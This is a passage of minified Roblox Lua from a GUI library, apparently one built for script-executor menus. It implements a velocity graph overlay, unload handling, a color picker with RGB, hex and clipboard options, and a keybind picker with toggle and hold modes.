Overlay.Outer.Size = UDim2.fromOffset(OuterWidth, OuterHeight); end; function Overlay:Resize() FitOverlay(); end; local function SetGraphVisible(Visible) for _, Segment in GraphState.LinePool do Segment.Visible = Visible; end; end; local function PlaceSegment(Segment, XFrom, YFrom, XTo, YTo, Transparency) local DeltaX = XTo - XFrom; local DeltaY = YTo - YFrom; local Length = math.sqrt(DeltaX * DeltaX + DeltaY * DeltaY); if Length < 0.35 then Segment.Visible = false; return end; local Angle = math.deg(math.atan2(DeltaY, DeltaX)); local MidY = (YFrom + YTo) * 0.5; Segment.Size = UDim2.fromOffset(Length, 1.2); Segment.Position = UDim2.fromOffset(XFrom, MidY); Segment.Rotation = Angle; Segment.BackgroundTransparency = Transparency; Segment.Visible = true; end; local UpdateGraph = LPH_NO_VIRTUALIZE(function() if not Overlay.Visible or not Overlay.Outer or not Overlay.Outer.Visible then SetGraphVisible(false); return end; local Root = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild('HumanoidRootPart'); if not Root then SetGraphVisible(false); return end; local GraphWidth = math.max(math.floor(GraphArea.AbsoluteSize.X + 0.5), BoxWidth); local GraphBaseY = BoxHeight; local Velocity = Root.AssemblyLinearVelocity; local Vel = (Vector3.new(Velocity.X * 1.25, 0, Velocity.Z * 1.25)).Magnitude * 14; local Unit = GraphBaseY - (Vel / 7.5); Unit = math.clamp(Unit, 2, GraphBaseY - 2); SpeedLabel.Text = string.format('SPEED: %d', math.floor(Vel)); if #GraphState.Lines >= GraphWidth then table.remove(GraphState.Lines, 1); end; for _, Line in GraphState.Lines do Line.XFrom -= 1; Line.XTo -= 1; end; table.insert(GraphState.Lines, { XFrom = GraphWidth - 1; YFrom = GraphState.LastY; XTo = GraphWidth; YTo = Unit; }); GraphState.LastY = Unit; local Count = #GraphState.Lines; for Index, Line in GraphState.Lines do local AgeFromRight = Count - Index; local Transparency = math.clamp(AgeFromRight / 50, 0, 1) * 0.55; PlaceSegment(GraphState.LinePool[Index], Line.XFrom, Line.YFrom, Line.XTo, Line.YTo, Transparency); end; for Index = Count + 1, GraphState.MaxLines do local Segment = GraphState.LinePool[Index]; if Segment then Segment.Visible = false; end; end; end); function Overlay:SetVisible(Bool) Overlay.Visible = not not Bool; Overlay.Outer.Visible = Overlay.Visible; Library:UpdateOverlayGlow(Overlay); if not Overlay.Visible then SetGraphVisible(false); end; end; function Overlay:CleanupDrawings() SetGraphVisible(false); table.clear(GraphState.Lines); GraphState.LastY = BoxHeight - 2; end; Overlay._GraphUpdate = RunService.RenderStepped:Connect(UpdateGraph); Library:GiveSignal(Overlay._GraphUpdate); Library.VelocityGraphOverlay = Overlay; task.defer(function() FitOverlay(); end); return Overlay; end; function Library:WrapKeybindOverlay(Config) return Library:CreateKeybindsOverlay(Config or {}); end; function Library:GiveSignal(Signal) table.insert(Library.Signals, Signal); end; function Library:Unload() for Idx = #Library.Signals, 1, -1 do local Connection = table.remove(Library.Signals, Idx); Connection:Disconnect(); end; if Library.OnUnload then Library.OnUnload(); end; if Library.VelocityGraphOverlay and Library.VelocityGraphOverlay.CleanupDrawings then Library.VelocityGraphOverlay:CleanupDrawings(); end; ScreenGui:Destroy(); end; function Library:OnUnload(Callback) Library.OnUnload = Callback; end; Library:GiveSignal(ScreenGui.DescendantRemoving:Connect(function(Instance) if Library.RegistryMap[Instance] then Library:RemoveFromRegistry(Instance); end; end)); local BaseAddons = {}; do local Funcs = {}; function Funcs:AddColorPicker(Idx, Info) local ToggleLabel = self.TextLabel; assert(Info.Default, 'AddColorPicker: Missing default value.'); local ColorPicker = { Value = Info.Default; Transparency = Info.Transparency or 0; Type = 'ColorPicker'; Title = type(Info.Title) == 'string' and Info.Title or 'Color picker', Callback = Info.Callback or function(Color) end; }; function ColorPicker:SetHSVFromRGB(Color) local H, S, V = Color3.toHSV(Color); ColorPicker.Hue = H; ColorPicker.Sat = S; ColorPicker.Vib = V; end; ColorPicker:SetHSVFromRGB(ColorPicker.Value); local DisplayFrame = Library:Create('Frame', { BackgroundColor3 = ColorPicker.Value; BorderColor3 = Library.AccentColor; BorderMode = Enum.BorderMode.Inset; Size = IsTouchDevice and UDim2.new(0, 18, 0, 10) or UDim2.new(0, 28, 0, 14); ZIndex = ToggleLabel.ZIndex + 1; Parent = ToggleLabel; }); Library:AddToRegistry(DisplayFrame, { BorderColor3 = 'AccentColor' }); local PickerFrameOuter = Library:Create('Frame', { Name = 'Color'; BackgroundColor3 = Color3.new(0, 0, 0); BorderColor3 = Color3.new(0, 0, 0); Position = UDim2.fromOffset(DisplayFrame.AbsolutePosition.X, DisplayFrame.AbsolutePosition.Y + 18), Size = UDim2.fromOffset(230, 226); Visible = false; ZIndex = 15; Parent = ScreenGui, }); Library:MakeDraggable(PickerFrameOuter, 20); if IsTouchDevice then Library:Create('UIScale', { Scale = Library.MobilePickerScale or Library.MobileOverlayScale or 0.55; Parent = PickerFrameOuter; }); end; local PickerFrameInner = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = 16; Parent = PickerFrameOuter; }); local Highlight = Library:Create('Frame', { BackgroundColor3 = Library.AccentColor; BorderSizePixel = 0; Size = UDim2.new(1, 0, 0, 2); ZIndex = 17; Parent = PickerFrameInner; }); local TitleLabel = Library:CreateLabel({ Size = UDim2.new(1, 0, 0, 20); Position = UDim2.new(0, 5, 0, 2); TextXAlignment = Enum.TextXAlignment.Left; Text = ColorPicker.Title; ZIndex = 17; Parent = PickerFrameInner; }); local FlagLabel = Library:CreateLabel({ Size = UDim2.new(1, -10, 0, 20); Position = UDim2.new(0, 5, 0, 2); TextXAlignment = Enum.TextXAlignment.Right; Text = "flagname"; TextColor3 = Color3.fromRGB(80, 80, 80); ZIndex = 17; Parent = PickerFrameInner; }); local Divider = Library:Create('Frame', { BackgroundColor3 = Library.OutlineColor; BorderSizePixel = 0; Size = UDim2.new(1, 0, 0, 1); Position = UDim2.new(0, 0, 0, 22); ZIndex = 17; Parent = PickerFrameInner; }); local SatVibMapOuter = Library:Create('Frame', { BorderColor3 = Color3.new(0, 0, 0); Position = UDim2.new(0, 4, 0, 25); Size = UDim2.new(1, -8, 0, 110); ZIndex = 17; Parent = PickerFrameInner; }); local SatVibMapInner = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = 18; Parent = SatVibMapOuter; }); local SatVibMap = Library:Create('ImageLabel', { BorderSizePixel = 0; Size = UDim2.new(1, 0, 1, 0); ZIndex = 18; Image = 'rbxassetid://4155801252'; Parent = SatVibMapInner; }); local CursorOuter = Library:Create('ImageLabel', { AnchorPoint = Vector2.new(0.5, 0.5); Size = UDim2.new(0, 6, 0, 6); BackgroundTransparency = 1; Image = 'http://www.roblox.com/asset/?id=9619665977'; ImageColor3 = Color3.new(0, 0, 0); ZIndex = 19; Parent = SatVibMap; }); local CursorInner = Library:Create('ImageLabel', { Size = UDim2.new(0, CursorOuter.Size.X.Offset - 2, 0, CursorOuter.Size.Y.Offset - 2); Position = UDim2.new(0, 1, 0, 1); BackgroundTransparency = 1; Image = 'http://www.roblox.com/asset/?id=9619665977'; ZIndex = 20; Parent = CursorOuter; }); local HueSelectorOuter = Library:Create('Frame', { BorderColor3 = Color3.new(0, 0, 0); Position = UDim2.new(0, 4, 0, 140); Size = UDim2.new(1, -8, 0, 10); ZIndex = 17; Parent = PickerFrameInner; }); local HueSelectorInner = Library:Create('Frame', { BackgroundColor3 = Color3.new(1, 1, 1); BorderSizePixel = 0; Size = UDim2.new(1, 0, 1, 0); ZIndex = 18; Parent = HueSelectorOuter; }); local HueCursor = Library:Create('Frame', { BackgroundColor3 = Color3.new(1, 1, 1); AnchorPoint = Vector2.new(0.5, 0); BorderColor3 = Color3.new(0, 0, 0); Size = UDim2.new(0, 2, 1, 0); ZIndex = 18; Parent = HueSelectorInner; }); local InputWidth = 47; local InputHeight = 18; local InputSpacing = 4; local function CreateInputBox(posX, width, placeholder) local BoxOuter = Library:Create('Frame', { BorderColor3 = Color3.new(0, 0, 0); Position = UDim2.new(0, posX, 0, 155); Size = UDim2.new(0, width, 0, InputHeight); ZIndex = 18; Parent = PickerFrameInner; }); local BoxInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = 18; Parent = BoxOuter; }); local TextBox = Library:Create('TextBox', { BackgroundTransparency = 1; Size = UDim2.new(1, 0, 1, 0); Font = Library.Font; PlaceholderColor3 = Color3.fromRGB(120, 120, 120); PlaceholderText = placeholder; Text = ""; TextColor3 = Library.FontColor; TextSize = 13; TextStrokeTransparency = 0; TextXAlignment = Enum.TextXAlignment.Center; ZIndex = 20; Parent = BoxInner; }); Library:ApplyTextStroke(TextBox); Library:AddToRegistry(BoxInner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); Library:AddToRegistry(TextBox, { TextColor3 = 'FontColor' }); return TextBox; end; local RBox = CreateInputBox(4, 48, "R"); local GBox = CreateInputBox(4 + 48 + 4, 48, "G"); local BBox = CreateInputBox(4 + 48*2 + 8, 48, "B"); local HexBox = CreateInputBox(4 + 48*3 + 12, 66, "HEX"); local function CreateButton(posX, width, text) local BtnOuter = Library:Create('Frame', { BorderColor3 = Color3.new(0, 0, 0); Position = UDim2.new(0, posX, 0, 177); Size = UDim2.new(0, width, 0, 18); ZIndex = 18; Parent = PickerFrameInner; }); local BtnInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = 18; Parent = BtnOuter; }); local Label = Library:CreateLabel({ Size = UDim2.new(1, 0, 1, 0); TextSize = 13; Text = text; ZIndex = 20; Parent = BtnInner; }); Library:OnHighlight(BtnOuter, BtnOuter, { BorderColor3 = 'AccentColor' }, { BorderColor3 = 'Black' } ); Library:AddToRegistry(BtnInner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); return BtnOuter; end; local CopyBtn = CreateButton(4, 109, "Copy"); local PasteBtn = CreateButton(4 + 109 + 4, 109, "Paste"); local ConfirmBtnOuter = Library:Create('Frame', { BorderColor3 = Color3.new(0, 0, 0); Position = UDim2.new(0, 4, 0, 199); Size = UDim2.new(1, -8, 0, 18); ZIndex = 18; Parent = PickerFrameInner; }); local ConfirmBtnInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = 18; Parent = ConfirmBtnOuter; }); local ConfirmLabel = Library:CreateLabel({ Size = UDim2.new(1, 0, 1, 0); TextSize = 13; Text = "Confirm"; ZIndex = 20; Parent = ConfirmBtnInner; }); Library:OnHighlight(ConfirmBtnOuter, ConfirmBtnOuter, { BorderColor3 = 'AccentColor' }, { BorderColor3 = 'Black' } ); ConfirmBtnOuter.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) then ColorPicker:Hide(); end; end); Library:AddToRegistry(ConfirmBtnInner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local ContextMenu = {} do ContextMenu.Options = {}; ContextMenu.Container = Library:Create('Frame', { BorderColor3 = Color3.new(), ZIndex = 14, Visible = false, Parent = ScreenGui }); ContextMenu.Inner = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.fromScale(1, 1); ZIndex = 15; Parent = ContextMenu.Container; }); Library:Create('UIListLayout', { Name = 'Layout', FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; Parent = ContextMenu.Inner; }); Library:Create('UIPadding', { Name = 'Padding', PaddingLeft = UDim.new(0, 4), Parent = ContextMenu.Inner, }); local function updateMenuPosition() ContextMenu.Container.Position = UDim2.fromOffset( (DisplayFrame.AbsolutePosition.X + DisplayFrame.AbsoluteSize.X) + 4, DisplayFrame.AbsolutePosition.Y + 1 ); end; local function updateMenuSize() local menuWidth = 60; for i, label in next, ContextMenu.Inner:GetChildren() do if label:IsA('TextLabel') then menuWidth = math.max(menuWidth, label.TextBounds.X); end; end; ContextMenu.Container.Size = UDim2.fromOffset( menuWidth + 8, ContextMenu.Inner.Layout.AbsoluteContentSize.Y + 4 ); end; DisplayFrame:GetPropertyChangedSignal('AbsolutePosition'):Connect(updateMenuPosition); ContextMenu.Inner.Layout:GetPropertyChangedSignal('AbsoluteContentSize'):Connect(updateMenuSize); task.spawn(updateMenuPosition); task.spawn(updateMenuSize); Library:AddToRegistry(ContextMenu.Inner, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }); function ContextMenu:Show() self.Container.Visible = true; end; function ContextMenu:Hide() self.Container.Visible = false; end; function ContextMenu:AddOption(Str, Callback) if type(Callback) ~= 'function' then Callback = function() end; end; local Button = Library:CreateLabel({ Active = false; Size = UDim2.new(1, 0, 0, 15); TextSize = 13; Text = Str; ZIndex = 16; Parent = self.Inner; TextXAlignment = Enum.TextXAlignment.Left, }); Library:OnHighlight(Button, Button, { TextColor3 = 'AccentColor' }, { TextColor3 = 'FontColor' } ); Button.InputBegan:Connect(function(Input) if not IsPrimaryPress(Input) then return end; Callback(); end); end; ContextMenu:AddOption('Copy color', function() Library.ColorClipboard = ColorPicker.Value; Library:Notify('Copied color!', 2); end); ContextMenu:AddOption('Paste color', function() if not Library.ColorClipboard then return Library:Notify('You have not copied a color!', 2); end; ColorPicker:SetValueRGB(Library.ColorClipboard); end); ContextMenu:AddOption('Copy HEX', function() pcall(setclipboard, ColorPicker.Value:ToHex()); Library:Notify('Copied hex code to clipboard!', 2); end); ContextMenu:AddOption('Copy RGB', function() pcall(setclipboard, table.concat({ math.floor(ColorPicker.Value.R * 255), math.floor(ColorPicker.Value.G * 255), math.floor(ColorPicker.Value.B * 255) }, ', ')); Library:Notify('Copied RGB values to clipboard!', 2); end); end; Library:AddToRegistry(PickerFrameInner, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }); Library:AddToRegistry(Highlight, { BackgroundColor3 = 'AccentColor'; }); Library:AddToRegistry(SatVibMapInner, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }); local SequenceTable = {}; for Hue = 0, 1, 0.1 do table.insert(SequenceTable, ColorSequenceKeypoint.new(Hue, Color3.fromHSV(Hue, 1, 1))); end; local HueSelectorGradient = Library:Create('UIGradient', { Color = ColorSequence.new(SequenceTable); Rotation = 0; Parent = HueSelectorInner; }); local function onRGBFocusLost() local r = tonumber(RBox.Text) or 255; local g = tonumber(GBox.Text) or 255; local b = tonumber(BBox.Text) or 255; ColorPicker.Hue, ColorPicker.Sat, ColorPicker.Vib = Color3.toHSV(Color3.fromRGB(r, g, b)); ColorPicker:Display(); end; RBox.FocusLost:Connect(onRGBFocusLost); GBox.FocusLost:Connect(onRGBFocusLost); BBox.FocusLost:Connect(onRGBFocusLost); HexBox.FocusLost:Connect(function() local success, result = pcall(Color3.fromHex, HexBox.Text); if success and typeof(result) == 'Color3' then ColorPicker.Hue, ColorPicker.Sat, ColorPicker.Vib = Color3.toHSV(result); end; ColorPicker:Display(); end); CopyBtn.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) then Library.ColorClipboard = ColorPicker.Value; Library:Notify('Copied color!', 2); end; end); PasteBtn.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) then if Library.ColorClipboard then ColorPicker:SetValueRGB(Library.ColorClipboard); else Library:Notify('No color copied!', 2); end; end; end); function ColorPicker:Display() ColorPicker.Value = Color3.fromHSV(ColorPicker.Hue, ColorPicker.Sat, ColorPicker.Vib); SatVibMap.BackgroundColor3 = Color3.fromHSV(ColorPicker.Hue, 1, 1); Library:Create(DisplayFrame, { BackgroundColor3 = ColorPicker.Value; BackgroundTransparency = ColorPicker.Transparency; BorderColor3 = Library:GetDarkerColor(ColorPicker.Value); }); CursorOuter.Position = UDim2.new(ColorPicker.Sat, 0, 1 - ColorPicker.Vib, 0); HueCursor.Position = UDim2.new(ColorPicker.Hue, 0, 0, 0); RBox.Text = tostring(math.floor(ColorPicker.Value.R * 255)); GBox.Text = tostring(math.floor(ColorPicker.Value.G * 255)); BBox.Text = tostring(math.floor(ColorPicker.Value.B * 255)); HexBox.Text = ColorPicker.Value:ToHex(); if not Library.ThemeUpdating then Library:SafeCallback(ColorPicker.Callback, ColorPicker.Value); Library:SafeCallback(ColorPicker.Changed, ColorPicker.Value); end; end; function ColorPicker:OnChanged(Func) ColorPicker.Changed = Func; Func(ColorPicker.Value); end; function ColorPicker:Show() for Frame, Val in next, Library.OpenedFrames do if Frame.Name == 'Color' then Frame.Visible = false; Library.OpenedFrames[Frame] = nil; end; end; PickerFrameOuter.Position = UDim2.fromOffset(DisplayFrame.AbsolutePosition.X, DisplayFrame.AbsolutePosition.Y + 18); Library:ApplyPopupZIndex(PickerFrameOuter, 15); PickerFrameOuter.Visible = true; Library.OpenedFrames[PickerFrameOuter] = true; end; function ColorPicker:Hide() PickerFrameOuter.Visible = false; Library.OpenedFrames[PickerFrameOuter] = nil; end; function ColorPicker:SetValue(HSV, Transparency) local Color = Color3.fromHSV(HSV[1], HSV[2], HSV[3]); ColorPicker.Transparency = Transparency or 0; ColorPicker:SetHSVFromRGB(Color); ColorPicker:Display(); end; function ColorPicker:SetValueRGB(Color, Transparency) ColorPicker.Transparency = Transparency or 0; ColorPicker:SetHSVFromRGB(Color); ColorPicker:Display(); end; SatVibMap.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) then while IsPressActive(Input) do local Pos = GetPointerPosition(Input); local MinX = SatVibMap.AbsolutePosition.X; local MaxX = MinX + SatVibMap.AbsoluteSize.X; local MouseX = math.clamp(Pos.X, MinX, MaxX); local MinY = SatVibMap.AbsolutePosition.Y; local MaxY = MinY + SatVibMap.AbsoluteSize.Y; local MouseY = math.clamp(Pos.Y, MinY, MaxY); ColorPicker.Sat = (MouseX - MinX) / (MaxX - MinX); ColorPicker.Vib = 1 - ((MouseY - MinY) / (MaxY - MinY)); ColorPicker:Display(); RenderStepped:Wait(); end; Library:AttemptSave(); end; end); HueSelectorInner.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) then while IsPressActive(Input) do local Pos = GetPointerPosition(Input); local MinX = HueSelectorInner.AbsolutePosition.X; local MaxX = MinX + HueSelectorInner.AbsoluteSize.X; local MouseX = math.clamp(Pos.X, MinX, MaxX); ColorPicker.Hue = ((MouseX - MinX) / (MaxX - MinX)); ColorPicker:Display(); RenderStepped:Wait(); end; Library:AttemptSave(); end; end); DisplayFrame.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) and not Library:MouseIsOverOpenedFrame() then if PickerFrameOuter.Visible then ColorPicker:Hide(); else ContextMenu:Hide(); ColorPicker:Show(); end; elseif Input.UserInputType == Enum.UserInputType.MouseButton2 and not Library:MouseIsOverOpenedFrame() then ContextMenu:Show(); ColorPicker:Hide(); end; end); Library:GiveSignal(InputService.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) then local Pos = GetPointerPosition(Input); local AbsPos, AbsSize = PickerFrameOuter.AbsolutePosition, PickerFrameOuter.AbsoluteSize; if Pos.X < AbsPos.X or Pos.X > AbsPos.X + AbsSize.X or Pos.Y < (AbsPos.Y - 20 - 1) or Pos.Y > AbsPos.Y + AbsSize.Y then ColorPicker:Hide(); end; if not Library:IsMouseOverFrame(ContextMenu.Container) then ContextMenu:Hide(); end; end; if Input.UserInputType == Enum.UserInputType.MouseButton2 and ContextMenu.Container.Visible then if not Library:IsMouseOverFrame(ContextMenu.Container) and not Library:IsMouseOverFrame(DisplayFrame) then ContextMenu:Hide(); end; end; end)); ColorPicker:Display(); ColorPicker.DisplayFrame = DisplayFrame; if type(ColorPicker)=="table" and ColorPicker.SetVisible==nil then ColorPicker.SetVisible=function() end end; Options[Idx] = ColorPicker; return self; end; function Funcs:AddKeyPicker(Idx, Info) local ParentObj = self; local ToggleLabel = self.TextLabel; local Container = self.Container; assert(Info.Default, 'AddKeyPicker: Missing default value.'); local KeyPicker = { Value = Info.Default; Toggled = false; Mode = Info.Mode or 'Toggle'; Type = 'KeyPicker'; Callback = Info.Callback or function(Value) end; ChangedCallback = Info.ChangedCallback or function(New) end; SyncToggleState = Info.SyncToggleState or false; }; if KeyPicker.SyncToggleState then Info.Modes = { 'Toggle' }; Info.Mode = 'Toggle'; if ParentObj.Type == 'Toggle' then KeyPicker.Toggled = not not ParentObj.Value; end; end; local PickOuter = Library:Create('Frame', { BackgroundTransparency = 1; BorderSizePixel = 0; Size = UDim2.new(0, 28, 0, 15); ZIndex = ToggleLabel.ZIndex + 1; Parent = ToggleLabel; }); local PickInner = Library:Create('Frame', { BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = ToggleLabel.ZIndex + 2; Parent = PickOuter; }); Library:AddToRegistry(PickInner, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }); local DisplayLabel = Library:CreateLabel({ Size = UDim2.new(1, -4, 1, 0); Position = UDim2.new(0, 2, 0, 0); TextSize = 12; TextColor3 = Color3.new(1, 1, 1); Text = Info.Default == 'None' and '( - )' or Info.Default; ZIndex = ToggleLabel.ZIndex + 3; Parent = PickInner; }); local function UpdateDisplayWidth(text) local display = text == 'None' and '( - )' or text; DisplayLabel.Text = display; local textWidth = Library:GetTextBounds(display, Library.Font, 13); PickOuter.Size = UDim2.new(0, textWidth + 6, 0, 15); end; UpdateDisplayWidth(Info.Default); local ModeSelectOuter = Library:Create('Frame', { BorderColor3 = Color3.new(0, 0, 0); Position = UDim2.fromOffset(ToggleLabel.AbsolutePosition.X + ToggleLabel.AbsoluteSize.X + 4, ToggleLabel.AbsolutePosition.Y + 1); Size = UDim2.new(0, 60, 0, 45 + 2); Visible = false; ZIndex = Library:GetPopupZIndex(0); Parent = ScreenGui; }); ToggleLabel:GetPropertyChangedSignal('AbsolutePosition'):Connect(function() ModeSelectOuter.Position = UDim2.fromOffset(ToggleLabel.AbsolutePosition.X + ToggleLabel.AbsoluteSize.X + 4, ToggleLabel.AbsolutePosition.Y + 1); end); local ModeSelectInner = Library:Create('Frame', { BackgroundColor3 = Library.BackgroundColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Size = UDim2.new(1, 0, 1, 0); ZIndex = Library:GetPopupZIndex(1); Parent = ModeSelectOuter; }); Library:AddToRegistry(ModeSelectInner, { BackgroundColor3 = 'BackgroundColor'; BorderColor3 = 'OutlineColor'; }); Library:Create('UIListLayout', { FillDirection = Enum.FillDirection.Vertical; SortOrder = Enum.SortOrder.LayoutOrder; Parent = ModeSelectInner; }); local rowBase = Library:GetKeybindRowZBase(); local KeybindRow = Library:Create('Frame', { BackgroundTransparency = 1; Size = UDim2.new(1, -4, 0, 22); Visible = false; ZIndex = rowBase; Parent = Library.KeybindContainer; }); local NameLabel = Library:CreateLabel({ Text = Info.Text or ''; TextXAlignment = Enum.TextXAlignment.Left; Size = UDim2.new(1, -84, 1, 0); TextSize = 13; TextColor3 = Color3.new(1, 1, 1); ZIndex = rowBase + 3; Parent = KeybindRow; }, true); Library:SetGradientText(NameLabel, Info.Text or ''); local KeyBox = Library:Create('Frame', { AnchorPoint = Vector2.new(1, 0.5); BackgroundColor3 = Library.MainColor; BorderColor3 = Library.OutlineColor; BorderMode = Enum.BorderMode.Inset; Position = UDim2.new(1, 0, 0.5, 0); Size = UDim2.fromOffset(52, 18); ZIndex = rowBase + 3; Parent = KeybindRow; }); Library:AddToRegistry(KeyBox, { BackgroundColor3 = 'MainColor'; BorderColor3 = 'OutlineColor'; }, true); local ValueLabel = Library:CreateLabel({ Size = UDim2.new(1, -4, 1, 0); Position = UDim2.new(0, 2, 0, 0); TextSize = 12; TextColor3 = Color3.new(1, 1, 1); TextXAlignment = Enum.TextXAlignment.Center; ZIndex = rowBase + 5; Parent = KeyBox; }, true); KeyPicker.KeybindRow = KeybindRow; KeyPicker.NameLabel = NameLabel; KeyPicker.KeyBox = KeyBox; local Modes = Info.Modes or { 'Always', 'Toggle', 'Hold' }; local ModeButtons = {}; for Idx, Mode in next, Modes do local ModeButton = {}; local Label = Library:CreateLabel({ Active = false; Size = UDim2.new(1, 0, 0, 15); TextSize = 13; Text = Mode; ZIndex = Library:GetPopupZIndex(2); Parent = ModeSelectInner; }); function ModeButton:Select() for _, Button in next, ModeButtons do Button:Deselect(); end; KeyPicker.Mode = Mode; Label.TextColor3 = Library.AccentColor; Library.RegistryMap[Label].Properties.TextColor3 = 'AccentColor'; ModeSelectOuter.Visible = false; end; function ModeButton:Deselect() KeyPicker.Mode = nil; Label.TextColor3 = Library.FontColor; Library.RegistryMap[Label].Properties.TextColor3 = 'FontColor'; end; Label.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) then ModeButton:Select(); Library:AttemptSave(); end; end); if Mode == KeyPicker.Mode then ModeButton:Select(); end; ModeButtons[Mode] = ModeButton; end; function KeyPicker:Update() if Info.NoUI then return; end; local State = KeyPicker:GetState(); local keyText = KeyPicker.Value == 'None' and '-' or KeyPicker.Value; NameLabel.Text = Info.Text or ''; ValueLabel.Text = keyText; ValueLabel.TextColor3 = Color3.new(1, 1, 1); ValueLabel.TextTransparency = 0; Library:SetGradientText(NameLabel, Info.Text or ''); local textWidth = Library:GetTextBounds(keyText, Library.Font, 12); KeyBox.Size = UDim2.fromOffset(math.max(textWidth + 10, 36), 18); PickOuter.ZIndex = ToggleLabel.ZIndex + 1; PickInner.ZIndex = ToggleLabel.ZIndex + 2; DisplayLabel.ZIndex = ToggleLabel.ZIndex + 3; KeybindRow.Visible = State; Library:SyncKeybindRowsZIndex(); Library:UpdateKeybindOverlaySize(); end; function KeyPicker:GetState() if KeyPicker.Mode == 'Always' then return true; elseif KeyPicker.Mode == 'Hold' then if KeyPicker.Value == 'None' then return false; end; local Key = KeyPicker.Value; if Key == 'MB1' or Key == 'MB2' then return Key == 'MB1' and InputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) or Key == 'MB2' and InputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton2); else return InputService:IsKeyDown(Enum.KeyCode[KeyPicker.Value]); end; else return KeyPicker.Toggled; end; end; function KeyPicker:SetValue(Data) local Key, Mode = Data[1], Data[2]; UpdateDisplayWidth(Key); ModeButtons[Mode]:Select(); KeyPicker:Update(); end; function KeyPicker:OnClick(Callback) KeyPicker.Clicked = Callback; end; function KeyPicker:OnChanged(Callback) KeyPicker.Changed = Callback; Callback(KeyPicker.Value); end; if ParentObj.Addons then table.insert(ParentObj.Addons, KeyPicker); end; function KeyPicker:DoClick() if ParentObj.Type == 'Toggle' and KeyPicker.SyncToggleState then ParentObj:SetValue(not ParentObj.Value); end; Library:SafeCallback(KeyPicker.Callback, KeyPicker.Toggled); Library:SafeCallback(KeyPicker.Clicked, KeyPicker.Toggled); end; local Picking = false; PickOuter.InputBegan:Connect(function(Input) if IsPrimaryPress(Input) and not Library:MouseIsOverOpenedFrame() then Picking = true; UpdateDisplayWidth(''); local Break; local Text = ''; task.spawn(function() while (not Break) do if Text == '...' then Text = ''; end; Text = Text .. '.'; UpdateDisplayWidth(Text); wait(0.4); end; end); wait(0.2); local Event; Event = InputService.InputBegan:Connect(function(Input) local Key; if Input.UserInputType == Enum.UserInputType.Keyboard then Key = Input.KeyCode.Name; elseif Input.UserInputType == Enum.UserInputType.MouseButton1 then Key = 'MB1'; elseif Input.UserInputType == Enum.UserInputType.MouseButton2 then Key = 'MB2'; end; if Key == 'Escape' or Key == 'Backspace' then Key = 'None'; end; Break = true; Picking = false; UpdateDisplayWidth(Key); KeyPicker.Value = Key; Library:SafeCallback(KeyPicker.ChangedCallback, Input.KeyCode or Input.UserInputType); Library:SafeCallback(KeyPicker.Changed, Input.KeyCode or Input.UserInputType); Library:AttemptSave(); Event:Disconnect(); end); elseif Input.UserInputType == Enum.UserInputType.MouseButton2 and not Library:MouseIsOverOpenedFrame() then ModeSelectOuter.Visible = true; end; end); Library:GiveSignal(InputService.InputBegan:Connect(function(Input) if (not Picking) then if KeyPicker.Mode == 'Toggle' then local Key = KeyPicker.Value; if Key == 'MB1' or Key == 'MB2' then if Key == 'MB1' and IsPrimaryPress(Input) or Key == 'MB2' and Input.UserInputType == Enum.UserInputType.MouseButton2 then KeyPicker.Toggled = not KeyPicker.Toggled; KeyPicker:DoClick(); end; elseif Input.UserInputType == Enum.UserInputType.Keyboard then if Input.KeyCode.Name == Key then KeyPicker.Toggled = not KeyPicker.Toggled; KeyPicker:DoClick(); end; end; end; KeyPicker:Update(); end; if IsPrimaryPress(Input) then local Pos = GetPointerPosition(Input); local AbsPos, AbsSize = ModeSelectOuter.AbsolutePosition, ModeSelectOuter.AbsoluteSize; if Pos.X < AbsPos.X or Pos.X > AbsPos.X + AbsSize.X or Pos.Y < (AbsPos.Y - 20 - 1) or Pos.Y > AbsPos.Y + AbsSize.Y then ModeSelectOuter.Visible = false; end; end; end)); Library:GiveSignal(InputService.InputEnded:Connect(function(Input) if (not Picking) then KeyPicker:Update(); end; end)); KeyPicker:Update(); if type(KeyPicker)=="table" and KeyPicker.SetVisible==nil then KeyPicker.SetVisible=function() end end; Options[Idx] = KeyPicker; return self; end; 